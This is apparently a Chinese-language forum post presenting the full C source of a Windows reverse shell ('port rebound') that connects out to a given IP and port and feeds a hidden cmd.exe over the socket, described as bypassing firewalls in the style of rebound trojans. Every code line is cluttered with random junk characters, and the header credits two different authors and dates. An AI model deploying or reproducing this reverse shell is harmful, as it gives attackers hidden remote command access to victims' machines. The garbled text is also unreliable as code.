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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sgW*0o  
w] i&N1i  
/* ============================== l}:&}  
Rebound port in Windows NT TRW{` b[  
By wind,2006/7 oKLL~X>!U  
===============================*/ }1 = V`N(  
#include u[5*RTE  
#include TcPYDAa  
Q*u4q-DE  
#pragma comment(lib,"wsock32.lib") )kfj+/  
Km7HB!=<  
void OutputShell(); 1:h{( %`&  
SOCKET sClient; 56T<s+X>  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; kq&xH;9=.  
q+<X*yC  
void main(int argc,char **argv) ,_ }  
{ 3)b[C&`  
WSADATA stWsaData; *p0n{F9  
int nRet; K;^$n>Y  
SOCKADDR_IN stSaiClient,stSaiServer; "#anL8  
q1Gc0{+)  
if(argc != 3) \bNN]=  
{ 7D PKKvQ  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,Dd )=  
return; `a2%U/U  
} SIQ7oxS4  
E&ou(Q={  
WSAStartup(MAKEWORD(2,2),&stWsaData); @0H}U$l  
DC4O@"  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _+7 3Y'  
b9b384Q1O  
stSaiClient.sin_family = AF_INET; gmtp/?>e  
stSaiClient.sin_port = htons(0); Jn!-Wa,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hfw$820y[  
\Jq$!foYx  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) COvcR.*0F  
{ }q7rR:g  
printf("Bind Socket Failed!\n"); VSns_>o  
return; Y%eFXYk.  
} fn(< <FA)  
/R\]tl#2j  
stSaiServer.sin_family = AF_INET; QT)D|]bH  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wq+%O,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b{q-o <Q  
b|F4E{{D^  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Hs,pY(l ^  
{ 6%?bl{pNn  
printf("Connect Error!"); Z&BJ/qk \-  
return; T:k-`t0":N  
} /<ODP6Yy;  
OutputShell(); %zDh07VT\  
} /=4 m4  
^~\cx75D  
void OutputShell() >.'rN>B+  
{ c4H5[LPF  
char szBuff[1024]; _nW{Q-nh  
SECURITY_ATTRIBUTES stSecurityAttributes; ' e @`HG  
OSVERSIONINFO stOsversionInfo; {BB#Bh[  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; H5wzzSV!:B  
STARTUPINFO stStartupInfo; 9HJrMX  
char *szShell; ?5@!r>i=<  
PROCESS_INFORMATION stProcessInformation; euO!vLdX  
unsigned long lBytesRead; 4L<h% 'Zn  
"*E06=fiG  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); YhQ;>Ko  
=SMI,p&  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -CePtq`  
stSecurityAttributes.lpSecurityDescriptor = 0; .&Tcds  
stSecurityAttributes.bInheritHandle = TRUE; ++{,1wY\  
g>].m8DZ'  
sv}k_6XgY  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?VUW.-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #Xdj:T<*  
MC=pN(l  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Jw"fqr  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L>:YGM"sL  
stStartupInfo.wShowWindow = SW_HIDE; D3,9X#B=  
stStartupInfo.hStdInput = hReadPipe; pYXusS7S  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^&^~LKl~  
abAX)R'  
GetVersionEx(&stOsversionInfo); H$G`e'`OZ  
N`o[iHUj \  
switch(stOsversionInfo.dwPlatformId) )g;*u,C  
{ {DfXn1Cg0U  
case 1: Rb!V{jQ  
szShell = "command.com"; pCOtk'n  
break; UqsJ44QEZ  
default: W_JFe(=3,  
szShell = "cmd.exe"; 1dsMmD[O  
break; $Sg5xkV,a  
} {|:ro!&  
@ ={Hx$zL  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j_w"HiNBA  
f&5'1tG  
send(sClient,szMsg,77,0); cviPCjM  
while(1) 5SOl:{A +  
{ 1^R[kaY  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Lt 8J^}kwl  
if(lBytesRead) YC,)t71l{  
{ Wycood*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); PRTn~!Z0  
send(sClient,szBuff,lBytesRead,0); ePD~SO9*  
} '+8`3['  
else >v\t> [9t  
{ g$CWGB*%lm  
lBytesRead=recv(sClient,szBuff,1024,0); RH^!7W*  
if(lBytesRead<=0) break; )7`2FLG  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3fdx&}v/  
} o'#ow(X  
} A.[~}ywH  
eW"L")  
return; S8_>Lw  
}
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